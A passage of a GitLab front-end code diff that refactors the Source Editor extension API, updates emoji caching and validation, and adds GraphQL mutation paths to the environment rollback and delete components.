- const res = this.locate(path);
- SourceEditorExtension.highlightLines(this, res);
- }
- this.options.highlightPath = path || null;
+ static getDoc(instance) {
+ return parseDocument(instance.getValue());
}
- /**
- * Return the line numbers of a certain node identified by `path` within
- * the yaml.
- *
- * @param {string} path A path to a node, eg. `foo.bar[0]`
- * @returns {number[]} Array following the schema `[firstLine, lastLine]`
- * (both inclusive)
- *
- * @throws {Error} Will throw if the path is not found inside the document
- */
- locate(path) {
+ static locate(instance, path) {
if (!path) throw Error(`No path provided.`);
- const blob = this.getValue();
+ const blob = instance.getValue();
const doc = parseDocument(blob);
const pathArray = toPath(path);
@@ -290,4 +189,120 @@ export class YamlEditorExtension extends SourceEditorExtension {
const endLine = (endSlice.match(/\n/g) || []).length;
return [startLine, endLine];
}
+
+ setDoc(instance, doc) {
+ if (this.enableComments) {
+ YamlEditorExtension.transformComments(doc);
+ }
+
+ if (!instance.getValue()) {
+ instance.setValue(doc.toString());
+ } else {
+ instance.updateValue(doc.toString());
+ }
+ }
+
+ highlight(instance, path) {
+ // IMPORTANT
+ // removeHighlight and highlightLines both come from
+ // SourceEditorExtension. So it has to be installed prior to this extension
+ if (this.highlightPath === path) return;
+ if (!path) {
+ instance.removeHighlights();
+ } else {
+ const res = YamlEditorExtension.locate(instance, path);
+ instance.highlightLines(res);
+ }
+ this.highlightPath = path || null;
+ }
+
+ provides() {
+ return {
+ /**
+ * Get the editor's value parsed as a `Document` as defined by the `yaml`
+ * package
+ * @param {module:source_editor_instance~EditorInstance} instance - The Source Editor instance
+ * @returns {Document}
+ */
+ getDoc: (instance) => YamlEditorExtension.getDoc(instance),
+
+ /**
+ * Accepts a `Document` as defined by the `yaml` package and
+ * sets the Editor's value to a stringified version of it.
+ * @param {module:source_editor_instance~EditorInstance} instance - The Source Editor instance
+ * @param { Document } doc
+ */
+ setDoc: (instance, doc) => this.setDoc(instance, doc),
+
+ /**
+ * Returns the parsed value of the Editor's content as JS.
+ * @returns {*}
+ */
+ getDataModel: (instance) => YamlEditorExtension.getDoc(instance).toJS(),
+
+ /**
+ * Accepts any JS Object and sets the Editor's value to a stringified version
+ * of that value.
+ *
+ * @param {module:source_editor_instance~EditorInstance} instance - The Source Editor instance
+ * @param value
+ */
+ setDataModel: (instance, value) => this.setDoc(instance, new Document(value)),
+
+ /**
+ * Method to be executed when the Editor's <TextModel> was updated
+ */
+ onUpdate: (instance) => {
+ if (this.highlightPath) {
+ this.highlight(instance, this.highlightPath);
+ }
+ },
+
+ /**
+ * Set the editors content to the input without recreating the content model.
+ *
+ * @param {module:source_editor_instance~EditorInstance} instance - The Source Editor instance
+ * @param blob
+ */
+ updateValue: (instance, blob) => {
+ // Using applyEdits() instead of setValue() ensures that tokens such as
+ // highlighted lines aren't deleted/recreated which causes a flicker.
+ const model = instance.getModel();
+ model.applyEdits([
+ {
+ // A nice improvement would be to replace getFullModelRange() with
+ // a range of the actual diff, avoiding re-formatting the document,
+ // but that's something for a later iteration.
+ range: model.getFullModelRange(),
+ text: blob,
+ },
+ ]);
+ },
+
+ /**
+ * Add a line highlight style to the node specified by the path.
+ *
+ * @param {module:source_editor_instance~EditorInstance} instance - The Source Editor instance
+ * @param {string|null|false} path A path to a node of the Editor's value,
+ * e.g. `"foo.bar[0]"`. If the value is falsy, this will remove all
+ * highlights.
+ */
+ highlight: (instance, path) => this.highlight(instance, path),
+
+ /**
+ * Return the line numbers of a certain node identified by `path` within
+ * the yaml.
+ *
+ * @param {module:source_editor_instance~EditorInstance} instance - The Source Editor instance
+ * @param {string} path A path to a node, eg. `foo.bar[0]`
+ * @returns {number[]} Array following the schema `[firstLine, lastLine]`
+ * (both inclusive)
+ *
+ * @throws {Error} Will throw if the path is not found inside the document
+ */
+ locate: (instance, path) => YamlEditorExtension.locate(instance, path),
+
+ initFromModel: (instance, model) => this.initFromModel(instance, model),
+ };
+ }
}
diff --git a/app/assets/javascripts/editor/source_editor.js b/app/assets/javascripts/editor/source_editor.js
index 81ddf8d77fa..57e2b0da565 100644
--- a/app/assets/javascripts/editor/source_editor.js
+++ b/app/assets/javascripts/editor/source_editor.js
@@ -1,4 +1,5 @@
import { editor as monacoEditor, Uri } from 'monaco-editor';
+import { waitForCSSLoaded } from '~/helpers/startup_css_helper';
import { defaultEditorOptions } from '~/ide/lib/editor_options';
import languages from '~/ide/lib/languages';
import { registerLanguages } from '~/ide/utils';
@@ -11,10 +12,39 @@ import {
EDITOR_TYPE_DIFF,
} from './constants';
import { clearDomElement, setupEditorTheme, getBlobLanguage } from './utils';
+import EditorInstance from './source_editor_instance';
+
+const instanceRemoveFromRegistry = (editor, instance) => {
+ const index = editor.instances.findIndex((inst) => inst === instance);
+ editor.instances.splice(index, 1);
+};
+
+const instanceDisposeModels = (editor, instance, model) => {
+ const instanceModel = instance.getModel() || model;
+ if (!instanceModel) {
+ return;
+ }
+ if (instance.getEditorType() === EDITOR_TYPE_DIFF) {
+ const { original, modified } = instanceModel;
+ if (original) {
+ original.dispose();
+ }
+ if (modified) {
+ modified.dispose();
+ }
+ } else {
+ instanceModel.dispose();
+ }
+};
export default class SourceEditor {
+ /**
+ * Constructs a global editor.
+ * @param {Object} options - Monaco config options used to create the editor
+ */
constructor(options = {}) {
this.instances = [];
+ this.extensionsStore = new Map();
this.options = {
extraEditorClassName: 'gl-source-editor',
...defaultEditorOptions,
@@ -26,39 +56,6 @@ export default class SourceEditor {
registerLanguages(...languages);
}
- static pushToImportsArray(arr, toImport) {
- arr.push(import(toImport));
- }
-
- static loadExtensions(extensions) {
- if (!extensions) {
- return Promise.resolve();
- }
- const promises = [];
- const extensionsArray = typeof extensions === 'string' ? extensions.split(',') : extensions;
-
- extensionsArray.forEach((ext) => {
- const prefix = ext.includes('/') ? '' : 'editor/';
- const trimmedExt = ext.replace(/^\//, '').trim();
- SourceEditor.pushToImportsArray(promises, `~/${prefix}${trimmedExt}`);
- });
-
- return Promise.all(promises);
- }
-
- static mixIntoInstance(source, inst) {
- if (!inst) {
- return;
- }
- const isClassInstance = source.constructor.prototype !== Object.prototype;
- const sanitizedSource = isClassInstance ? source.constructor.prototype : source;
- Object.getOwnPropertyNames(sanitizedSource).forEach((prop) => {
- if (prop !== 'constructor') {
- Object.assign(inst, { [prop]: source[prop] });
- }
- });
- }
-
static prepareInstance(el) {
if (!el) {
throw new Error(SOURCE_EDITOR_INSTANCE_ERROR_NO_EL);
@@ -71,23 +68,6 @@ export default class SourceEditor {
});
}
- static manageDefaultExtensions(instance, el, extensions) {
- SourceEditor.loadExtensions(extensions, instance)
- .then((modules) => {
- if (modules) {
- modules.forEach((module) => {
- instance.use(module.default);
- });
- }
- })
- .then(() => {
- el.dispatchEvent(new Event(EDITOR_READY_EVENT));
- })
- .catch((e) => {
- throw e;
- });
- }
-
static createEditorModel({
blobPath,
blobContent,
@@ -115,71 +95,17 @@ export default class SourceEditor {
return diffModel;
}
- static convertMonacoToELInstance = (inst) => {
- const sourceEditorInstanceAPI = {
- updateModelLanguage: (path) => {
- return SourceEditor.instanceUpdateLanguage(inst, path);
- },
- use: (exts = []) => {
- return SourceEditor.instanceApplyExtension(inst, exts);
- },
- };
- const handler = {
- get(target, prop, receiver) {
- if (Reflect.has(sourceEditorInstanceAPI, prop)) {
- return sourceEditorInstanceAPI[prop];
- }
- return Reflect.get(target, prop, receiver);
- },
- };
- return new Proxy(inst, handler);
- };
-
- static instanceUpdateLanguage(inst, path) {
- const lang = getBlobLanguage(path);
- const model = inst.getModel();
- return monacoEditor.setModelLanguage(model, lang);
- }
-
- static instanceApplyExtension(inst, exts = []) {
- const extensions = [].concat(exts);
- extensions.forEach((extension) => {
- SourceEditor.mixIntoInstance(extension, inst);
- });
- return inst;
- }
-
- static instanceRemoveFromRegistry(editor, instance) {
- const index = editor.instances.findIndex((inst) => inst === instance);
- editor.instances.splice(index, 1);
- }
-
- static instanceDisposeModels(editor, instance, model) {
- const instanceModel = instance.getModel() || model;
- if (!instanceModel) {
- return;
- }
- if (instance.getEditorType() === EDITOR_TYPE_DIFF) {
- const { original, modified } = instanceModel;
- if (original) {
- original.dispose();
- }
- if (modified) {
- modified.dispose();
- }
- } else {
- instanceModel.dispose();
- }
- }
-
/**
- * Creates a monaco instance with the given options.
- *
- * @param {Object} options Options used to initialize monaco.
- * @param {Element} options.el The element which will be used to create the monacoEditor.
+ * Creates a Source Editor Instance with the given options.
+ * @param {Object} options Options used to initialize the instance.
+ * @param {Element} options.el The element to attach the instance for.
* @param {string} options.blobPath The path used as the URI of the model. Monaco uses the extension of this path to determine the language.
* @param {string} options.blobContent The content to initialize the monacoEditor.
+ * @param {string} options.blobOriginalContent The original blob's content. Is used when creating a Diff Instance.
* @param {string} options.blobGlobalId This is used to help globally identify monaco instances that are created with the same blobPath.
+ * @param {Boolean} options.isDiff Flag to enable creation of a Diff Instance?
+ * @param {...*} options.instanceOptions Configuration options used to instantiate an instance.
+ * @returns {EditorInstance}
*/
createInstance({
el = undefined,
@@ -187,20 +113,24 @@ export default class SourceEditor {
blobContent = '',
blobOriginalContent = '',
blobGlobalId = uuids()[0],
- extensions = [],
isDiff = false,
...instanceOptions
} = {}) {
SourceEditor.prepareInstance(el);
const createEditorFn = isDiff ? 'createDiffEditor' : 'create';
- const instance = SourceEditor.convertMonacoToELInstance(
+ const instance = new EditorInstance(
monacoEditor[createEditorFn].call(this, el, {
...this.options,
...instanceOptions,
}),
+ this.extensionsStore,
);
+ waitForCSSLoaded(() => {
+ instance.layout();
+ });
+
let model;
if (instanceOptions.model !== null) {
model = SourceEditor.createEditorModel({
@@ -214,16 +144,20 @@ export default class SourceEditor {
}
instance.onDidDispose(() => {
- SourceEditor.instanceRemoveFromRegistry(this, instance);
- SourceEditor.instanceDisposeModels(this, instance, model);
+ instanceRemoveFromRegistry(this, instance);
+ instanceDisposeModels(this, instance, model);
});
- SourceEditor.manageDefaultExtensions(instance, el, extensions);
-
this.instances.push(instance);
+ el.dispatchEvent(new CustomEvent(EDITOR_READY_EVENT, { instance }));
return instance;
}
+ /**
+ * Create a Diff Instance
+ * @param {Object} args Options to be passed further down to createInstance() with the same signature
+ * @returns {EditorInstance}
+ */
createDiffInstance(args) {
return this.createInstance({
...args,
@@ -231,14 +165,11 @@ export default class SourceEditor {
});
}
+ /**
+ * Dispose global editor
+ * Automatically disposes all the instances registered for this editor
+ */
dispose() {
this.instances.forEach((instance) => instance.dispose());
}
-
- use(exts) {
- this.instances.forEach((inst) => {
- inst.use(exts);
- });
- return this;
- }
}
diff --git a/app/assets/javascripts/editor/source_editor_extension.js b/app/assets/javascripts/editor/source_editor_extension.js
index f6bc62a1c09..6d47e1e2248 100644
--- a/app/assets/javascripts/editor/source_editor_extension.js
+++ b/app/assets/javascripts/editor/source_editor_extension.js
@@ -5,10 +5,10 @@ export default class EditorExtension {
if (typeof definition !== 'function') {
throw new Error(EDITOR_EXTENSION_DEFINITION_ERROR);
}
- this.name = definition.name; // both class- and fn-based extensions have a name
this.setupOptions = setupOptions;
// eslint-disable-next-line new-cap
this.obj = new definition();
+ this.extensionName = definition.extensionName || this.obj.extensionName; // both class- and fn-based extensions have a name
}
get api() {
diff --git a/app/assets/javascripts/editor/source_editor_instance.js b/app/assets/javascripts/editor/source_editor_instance.js
index e0ca4ea518b..8372a59964b 100644
--- a/app/assets/javascripts/editor/source_editor_instance.js
+++ b/app/assets/javascripts/editor/source_editor_instance.js
@@ -13,7 +13,7 @@
* A Source Editor Extension
* @typedef {Object} SourceEditorExtension
* @property {Object} obj
- * @property {string} name
+ * @property {string} extensionName
* @property {Object} api
*/
@@ -43,12 +43,12 @@ const utils = {
}
},
- getStoredExtension: (extensionsStore, name) => {
+ getStoredExtension: (extensionsStore, extensionName) => {
if (!extensionsStore) {
logError(EDITOR_EXTENSION_STORE_IS_MISSING_ERROR);
return undefined;
}
- return extensionsStore.get(name);
+ return extensionsStore.get(extensionName);
},
};
@@ -73,32 +73,18 @@ export default class EditorInstance {
if (methodExtension) {
const extension = extensionsStore.get(methodExtension);
- return (...args) => {
- return extension.api[prop].call(seInstance, ...args, receiver);
- };
+ if (typeof extension.api[prop] === 'function') {
+ return extension.api[prop].bind(extension.obj, receiver);
+ }
+
+ return extension.api[prop];
}
return Reflect.get(seInstance[prop] ? seInstance : target, prop, receiver);
},
- set(target, prop, value) {
- Object.assign(seInstance, {
- [prop]: value,
- });
- return true;
- },
};
const instProxy = new Proxy(rootInstance, getHandler);
- /**
- * Main entry point to apply an extension to the instance
- * @param {SourceEditorExtensionDefinition}
- */
- this.use = EditorInstance.useUnuse.bind(instProxy, extensionsStore, this.useExtension);
-
- /**
- * Main entry point to un-use an extension and remove it from the instance
- * @param {SourceEditorExtension}
- */
- this.unuse = EditorInstance.useUnuse.bind(instProxy, extensionsStore, this.unuseExtension);
+ this.dispatchExtAction = EditorInstance.useUnuse.bind(instProxy, extensionsStore);
return instProxy;
}
@@ -143,7 +129,7 @@ export default class EditorInstance {
}
// Existing Extension Path
- const existingExt = utils.getStoredExtension(extensionsStore, definition.name);
+ const existingExt = utils.getStoredExtension(extensionsStore, definition.extensionName);
if (existingExt) {
if (isEqual(extension.setupOptions, existingExt.setupOptions)) {
return existingExt;
@@ -155,7 +141,7 @@ export default class EditorInstance {
const extensionInstance = new EditorExtension(extension);
const { setupOptions, obj: extensionObj } = extensionInstance;
if (extensionObj.onSetup) {
- extensionObj.onSetup(setupOptions, this);
+ extensionObj.onSetup(this, setupOptions);
}
if (extensionsStore) {
this.registerExtension(extensionInstance, extensionsStore);
@@ -170,14 +156,14 @@ export default class EditorInstance {
* @param {Map} extensionsStore - The global registry for the extension instances
*/
registerExtension(extension, extensionsStore) {
- const { name } = extension;
+ const { extensionName } = extension;
const hasExtensionRegistered =
- extensionsStore.has(name) &&
- isEqual(extension.setupOptions, extensionsStore.get(name).setupOptions);
+ extensionsStore.has(extensionName) &&
+ isEqual(extension.setupOptions, extensionsStore.get(extensionName).setupOptions);
if (hasExtensionRegistered) {
return;
}
- extensionsStore.set(name, extension);
+ extensionsStore.set(extensionName, extension);
const { obj: extensionObj } = extension;
if (extensionObj.onUse) {
extensionObj.onUse(this);
@@ -189,7 +175,7 @@ export default class EditorInstance {
* @param {SourceEditorExtension} extension - Instance of Source Editor extension
*/
registerExtensionMethods(extension) {
- const { api, name } = extension;
+ const { api, extensionName } = extension;
if (!api) {
return;
@@ -199,7 +185,7 @@ export default class EditorInstance {
if (this[prop]) {
logError(sprintf(EDITOR_EXTENSION_NAMING_CONFLICT_ERROR, { prop }));
} else {
- this.methods[prop] = name;
+ this.methods[prop] = extensionName;
}
}, this);
}
@@ -217,10 +203,10 @@ export default class EditorInstance {
if (!extension) {
throw new Error(EDITOR_EXTENSION_NOT_SPECIFIED_FOR_UNUSE_ERROR);
}
- const { name } = extension;
- const existingExt = utils.getStoredExtension(extensionsStore, name);
+ const { extensionName } = extension;
+ const existingExt = utils.getStoredExtension(extensionsStore, extensionName);
if (!existingExt) {
- throw new Error(sprintf(EDITOR_EXTENSION_NOT_REGISTERED_ERROR, { name }));
+ throw new Error(sprintf(EDITOR_EXTENSION_NOT_REGISTERED_ERROR, { extensionName }));
}
const { obj: extensionObj } = existingExt;
if (extensionObj.onBeforeUnuse) {
@@ -237,12 +223,12 @@ export default class EditorInstance {
* @param {SourceEditorExtension} extension - Instance of Source Editor extension to un-use
*/
unregisterExtensionMethods(extension) {
- const { api, name } = extension;
+ const { api, extensionName } = extension;
if (!api) {
return;
}
Object.keys(api).forEach((method) => {
- utils.removeExtFromMethod(method, name, this.methods);
+ utils.removeExtFromMethod(method, extensionName, this.methods);
});
}
@@ -262,6 +248,24 @@ export default class EditorInstance {
}
/**
+ * Main entry point to apply an extension to the instance
+ * @param {SourceEditorExtensionDefinition[]|SourceEditorExtensionDefinition} extDefs - The extension(s) to use
+ * @returns {EditorExtension|*}
+ */
+ use(extDefs) {
+ return this.dispatchExtAction(this.useExtension, extDefs);
+ }
+
+ /**
+ * Main entry point to remove an extension to the instance
+ * @param {SourceEditorExtension[]|SourceEditorExtension} exts -
+ * @returns {*}
+ */
+ unuse(exts) {
+ return this.dispatchExtAction(this.unuseExtension, exts);
+ }
+
+ /**
* Get the methods returned by extensions.
* @returns {Array}
*/
diff --git a/app/assets/javascripts/emoji/constants.js b/app/assets/javascripts/emoji/constants.js
index e9f2272e759..a6eb4256561 100644
--- a/app/assets/javascripts/emoji/constants.js
+++ b/app/assets/javascripts/emoji/constants.js
@@ -16,3 +16,6 @@ export const CATEGORY_ICON_MAP = {
export const EMOJIS_PER_ROW = 9;
export const EMOJI_ROW_HEIGHT = 34;
export const CATEGORY_ROW_HEIGHT = 37;
+
+export const CACHE_VERSION_KEY = 'gl-emoji-map-version';
+export const CACHE_KEY = 'gl-emoji-map';
diff --git a/app/assets/javascripts/emoji/index.js b/app/assets/javascripts/emoji/index.js
index 478e3f6aed9..b507792cc91 100644
--- a/app/assets/javascripts/emoji/index.js
+++ b/app/assets/javascripts/emoji/index.js
@@ -1,26 +1,31 @@
import { escape, minBy } from 'lodash';
+import emojiRegexFactory from 'emoji-regex';
import emojiAliases from 'emojis/aliases.json';
-import { sanitize } from '~/lib/dompurify';
import AccessorUtilities from '../lib/utils/accessor';
import axios from '../lib/utils/axios_utils';
-import { CATEGORY_ICON_MAP, FREQUENTLY_USED_KEY } from './constants';
+import { CACHE_KEY, CACHE_VERSION_KEY, CATEGORY_ICON_MAP, FREQUENTLY_USED_KEY } from './constants';
let emojiMap = null;
let validEmojiNames = null;
export const FALLBACK_EMOJI_KEY = 'grey_question';
// Keep the version in sync with `lib/gitlab/emoji.rb`
-export const EMOJI_VERSION = '1';
+export const EMOJI_VERSION = '2';
const isLocalStorageAvailable = AccessorUtilities.canUseLocalStorage();
async function loadEmoji() {
if (
isLocalStorageAvailable &&
- window.localStorage.getItem('gl-emoji-map-version') === EMOJI_VERSION &&
- window.localStorage.getItem('gl-emoji-map')
+ window.localStorage.getItem(CACHE_VERSION_KEY) === EMOJI_VERSION &&
+ window.localStorage.getItem(CACHE_KEY)
) {
- return JSON.parse(window.localStorage.getItem('gl-emoji-map'));
+ const emojis = JSON.parse(window.localStorage.getItem(CACHE_KEY));
+ // Workaround because the pride flag is broken in EMOJI_VERSION = '1'
+ if (emojis.gay_pride_flag) {
+ emojis.gay_pride_flag.e = 'ðŸ³ï¸â€ðŸŒˆ';
+ }
+ return emojis;
}
// We load the JSON file direct from the server
@@ -29,15 +34,19 @@ async function loadEmoji() {
const { data } = await axios.get(
`${gon.relative_url_root || ''}/-/emojis/${EMOJI_VERSION}/emojis.json`,
);
- window.localStorage.setItem('gl-emoji-map-version', EMOJI_VERSION);
- window.localStorage.setItem('gl-emoji-map', JSON.stringify(data));
+ window.localStorage.setItem(CACHE_VERSION_KEY, EMOJI_VERSION);
+ window.localStorage.setItem(CACHE_KEY, JSON.stringify(data));
return data;
}
async function loadEmojiWithNames() {
- return Object.entries(await loadEmoji()).reduce((acc, [key, value]) => {
- acc[key] = { ...value, name: key, e: sanitize(value.e) };
+ const emojiRegex = emojiRegexFactory();
+ return Object.entries(await loadEmoji()).reduce((acc, [key, value]) => {
+ // Filter out entries which aren't emojis
+ if (value.e.match(emojiRegex)?.[0] === value.e) {
+ acc[key] = { ...value, name: key };
+ }
return acc;
}, {});
}
diff --git a/app/assets/javascripts/environments/components/confirm_rollback_modal.vue b/app/assets/javascripts/environments/components/confirm_rollback_modal.vue
index 4783b92942c..0e556f093e2 100644
--- a/app/assets/javascripts/environments/components/confirm_rollback_modal.vue
+++ b/app/assets/javascripts/environments/components/confirm_rollback_modal.vue
@@ -7,6 +7,7 @@ import { escape } from 'lodash';
import csrf from '~/lib/utils/csrf';
import { __, s__, sprintf } from '~/locale';
+import rollbackEnvironment from '../graphql/mutations/rollback_environment.mutation.graphql';
import eventHub from '../event_hub';
export default {
@@ -40,10 +41,15 @@ export default {
required: false,
default: null,
},
+ graphql: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
computed: {
modalTitle() {
- const title = this.environment.isLastDeployment
+ const title = this.isLastDeployment
? s__('Environments|Re-deploy environment %{name}?')
: s__('Environments|Rollback environment %{name}?');
@@ -53,6 +59,11 @@ export default {
},
commitShortSha() {
if (this.hasMultipleCommits) {
+ if (this.graphql) {
+ const { lastDeployment } = this.environment;
+ return this.commitData(lastDeployment, 'shortId');
+ }
+
const { last_deployment } = this.environment;
return this.commitData(last_deployment, 'short_id');
}
@@ -61,6 +72,11 @@ export default {
},
commitUrl() {
if (this.hasMultipleCommits) {
+ if (this.graphql) {
+ const { lastDeployment } = this.environment;
+ return this.commitData(lastDeployment, 'commitPath');
+ }
+
const { last_deployment } = this.environment;
return this.commitData(last_deployment, 'commit_path');
}
@@ -68,9 +84,7 @@ export default {
return this.environment.commitUrl;
},
modalActionText() {
- return this.environment.isLastDeployment
- ? s__('Environments|Re-deploy')
- : s__('Environments|Rollback');
+ return this.isLastDeployment ? s__('Environments|Re-deploy') : s__('Environments|Rollback');
},
primaryProps() {
let attributes = [{ variant: 'danger' }];
@@ -84,20 +98,27 @@ export default {
attributes,
};
},
+ isLastDeployment() {
+ // eslint-disable-next-line @gitlab/require-i18n-strings
+ return this.environment?.isLastDeployment || this.environment?.lastDeployment?.['last?'];
+ },
},
methods: {
handleChange(event) {
this.$emit('change', event);
},
onOk() {
- eventHub.$emit('rollbackEnvironment', this.environment);
+ if (this.graphql) {
+ this.$apollo.mutate({
+ mutation: rollbackEnvironment,
+ variables: { environment: this.environment },
+ });
+ } else {
+ eventHub.$emit('rollbackEnvironment', this.environment);
+ }
},
commitData(lastDeployment, key) {
- if (lastDeployment && lastDeployment.commit) {
- return lastDeployment.commit[key];
- }
-
- return '';
+ return lastDeployment?.commit?.[key] ?? '';
},
},
csrf,
diff --git a/app/assets/javascripts/environments/components/delete_environment_modal.vue b/app/assets/javascripts/environments/components/delete_environment_modal.vue
index 26ec882472b..d3d4c7d23d8 100644
--- a/app/assets/javascripts/environments/components/delete_environment_modal.vue
+++ b/app/assets/javascripts/environments/components/delete_environment_modal.vue
@@ -1,7 +1,9 @@
<script>
import { GlTooltipDirective, GlModal } from '@gitlab/ui';
+import createFlash from '~/flash';
import { __, s__, sprintf } from '~/locale';
import eventHub from '../event_hub';
+import deleteEnvironmentMutation from '../graphql/mutations/delete_environment.mutation.graphql';
export default {
id: 'delete-environment-modal',
@@ -17,6 +19,11 @@ export default {
type: Object,
required: true,
},
+ graphql: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
computed: {
primaryProps() {
@@ -49,7 +56,29 @@ export default {
},
methods: {
onSubmit() {
- eventHub.$emit('deleteEnvironment', this.environment);
+ if (this.graphql) {
+ this.$apollo
+ .mutate({
+ mutation: deleteEnvironmentMutation,
+ variables: { environment: this.environment },
+ })
+ .then(([message]) => {
+ if (message) {
+ createFlash({ message });
+ }
+ })
+ .catch((error) =>
+ createFlash({
+ message: s__(
+ 'Environments|An error occurred while deleting the environment. Check if the environment stopped; if not, stop it and try again.',
+ ),
+ error,
+ captureError: true,
+ }),
+ );
+ } else {
+ eventHub.$emit('deleteEnvironment', this.environment);
+ }
},
},
};
diff --git a/app/assets/javascripts/environments/components/enable_review_app_modal.vue b/app/assets/javascripts/environments/components/enable_review_app_modal.vue
index d770a2302e8..b757c55bfdb 100644
--- a/app/assets/javascripts/environments/components/enable_review_app_modal.vue
+++ b/app/assets/javascripts/environments/components/enable_review_app_modal.vue
@@ -12,11 +12,20 @@ export default {
ModalCopyButton,
},
inject: ['defaultBranchName'],
+ model: {
+ prop: 'visible',
+ event: 'change',
+ },
props: {
modalId: {
type: String,
required: true,
},
+ visible: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
instructionText: {
step1: s__(
@@ -57,12 +66,15 @@ export default {
</script>
<template>
<gl-modal
+ :visible="visible"
:modal-id="modalId"
:title="$options.modalInfo.title"
+ static
size="lg"
ok-only
ok-variant="light"
:ok-title="$options.modalInfo.closeText"
+ @change="$emit('change', $event)"
>
<p>
<gl-sprintf :message="$options.instructionText.step1">
diff --git a/app/assets/javascripts/environments/components/environment_delete.vue b/app/assets/javascripts/environments/components/environment_delete.vue
index 8609503e486..63169b790c7 100644
--- a/app/assets/javascripts/environments/components/environment_delete.vue
+++ b/app/assets/javascripts/environments/components/environment_delete.vue
@@ -7,6 +7,7 @@
import { GlDropdownItem, GlModalDirective } from '@gitlab/ui';
import { s__ } from '~/locale';
import eventHub from '../event_hub';
+import setEnvironmentToDelete from '../graphql/mutations/set_environment_to_delete.mutation.graphql';
export default {
components: {
@@ -20,6 +21,11 @@ export default {
type: Object,
required: true,
},
+ graphql: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
data() {
return {
@@ -30,14 +36,25 @@ export default {
title: s__('Environments|Delete environment'),
},
mounted() {
- eventHub.$on('deleteEnvironment', this.onDeleteEnvironment);
+ if (!this.graphql) {
+ eventHub.$on('deleteEnvironment', this.onDeleteEnvironment);
+ }
},
beforeDestroy() {
- eventHub.$off('deleteEnvironment', this.onDeleteEnvironment);
+ if (!this.graphql) {
+ eventHub.$off('deleteEnvironment', this.onDeleteEnvironment);
+ }
},
methods: {
onClick() {
- eventHub.$emit('requestDeleteEnvironment', this.environment);
+ if (this.graphql) {
+ this.$apollo.mutate({
+ mutation: setEnvironmentToDelete,
+ variables: { environment: this.environment },
+ });
+ } else {
+ eventHub.$emit('requestDeleteEnvironment', this.environment);
+ }
},
onDeleteEnvironment(environment) {
if (this.environment.id === environment.id) {
diff --git a/app/assets/javascripts/environments/components/environment_item.vue b/app/assets/javascripts/environments/components/environment_item.vue
index db01d455b2b..be9bfb50de5 100644
--- a/app/assets/javascripts/environments/components/environment_item.vue
+++ b/app/assets/javascripts/environments/components/environment_item.vue
@@ -5,7 +5,7 @@ import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import { __, s__, sprintf } from '~/locale';
import CiIcon from '~/vue_shared/components/ci_icon.vue';
import CommitComponent from '~/vue_shared/components/commit.vue';
-import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
import timeagoMixin from '~/vue_shared/mixins/timeago';
import eventHub from '../event_hub';
diff --git a/app/assets/javascripts/environments/components/environment_rollback.vue b/app/assets/javascripts/environments/components/environment_rollback.vue
index 00497b3c683..f7f0cf4cb8d 100644
--- a/app/assets/javascripts/environments/components/environment_rollback.vue
+++ b/app/assets/javascripts/environments/components/environment_rollback.vue
@@ -8,6 +8,7 @@
import { GlModalDirective, GlDropdownItem } from '@gitlab/ui';
import { s__ } from '~/locale';
import eventHub from '../event_hub';
+import setEnvironmentToRollback from '../graphql/mutations/set_environment_to_rollback.mutation.graphql';
export default {
components: {
@@ -32,11 +33,12 @@ export default {
type: String,
required: true,
},
- },
- data() {
- return {
- isLoading: false,
- };
+
+ graphql: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
computed: {
@@ -49,16 +51,18 @@ export default {
methods: {
onClick() {
- eventHub.$emit('requestRollbackEnvironment', {
- ...this.environment,
- retryUrl: this.retryUrl,
- isLastDeployment: this.isLastDeployment,
- });
- eventHub.$on('rollbackEnvironment', (environment) => {
- if (environment.id === this.environment.id) {
- this.isLoading = true;
- }
- });
+ if (this.graphql) {
+ this.$apollo.mutate({
+ mutation: setEnvironmentToRollback,
+ variables: { environment: this.environment },
+ });
+ } else {
+ eventHub.$emit('requestRollbackEnvironment', {
+ ...this.environment,
+ retryUrl: this.retryUrl,
+ isLastDeployment: this.isLastDeployment,
+ });
+ }
},
},
};
diff --git a/app/assets/javascripts/environments/components/new_environment_folder.vue b/app/assets/javascripts/environments/components/new_environment_folder.vue
index 0615bdef537..fe3d6f1e8ca 100644
--- a/app/assets/javascripts/environments/components/new_environment_folder.vue
+++ b/app/assets/javascripts/environments/components/new_environment_folder.vue
@@ -1,9 +1,11 @@
<script>
-import { GlCollapse, GlIcon, GlBadge, GlLink } from '@gitlab/ui';
+import { GlButton, GlCollapse, GlIcon, GlBadge, GlLink } from '@gitlab/ui';
+import { __, s__ } from '~/locale';
import folderQuery from '../graphql/queries/folder.query.graphql';
export default {
components: {
+ GlButton,
GlCollapse,
GlIcon,
GlBadge,
@@ -26,12 +28,20 @@ export default {
},
},
},
+ i18n: {
+ collapse: __('Collapse'),
+ expand: __('Expand'),
+ link: s__('Environments|Show all'),
+ },
computed: {
icons() {
return this.visible
? { caret: 'angle-down', folder: 'folder-open' }
: { caret: 'angle-right', folder: 'folder-o' };
},
+ label() {
+ return this.visible ? this.$options.i18n.collapse : this.$options.i18n.expand;
+ },
count() {
return this.folder?.availableCount ?? 0;
},
@@ -51,18 +61,21 @@ export default {
</script>
<template>
<div class="gl-border-b-solid gl-border-gray-100 gl-border-1 gl-px-3 gl-pt-3 gl-pb-5">
- <div class="gl-w-full gl-display-flex gl-align-items-center" @click="toggleCollapse">
- <gl-icon
- class="gl-mr-2 gl-fill-current-color gl-text-gray-500"
- :name="icons.caret"
- :size="12"
+ <div class="gl-w-full gl-display-flex gl-align-items-center">
+ <gl-button
+ class="gl-mr-4 gl-fill-current-color gl-text-gray-500"
+ :aria-label="label"
+ :icon="icons.caret"
+ size="small"
+ category="tertiary"
+ @click="toggleCollapse"
/>
<gl-icon class="gl-mr-2 gl-fill-current-color gl-text-gray-500" :name="icons.folder" />
<div class="gl-mr-2 gl-text-gray-500" :class="folderClass">
{{ nestedEnvironment.name }}
</div>
<gl-badge size="sm" class="gl-mr-auto">{{ count }}</gl-badge>
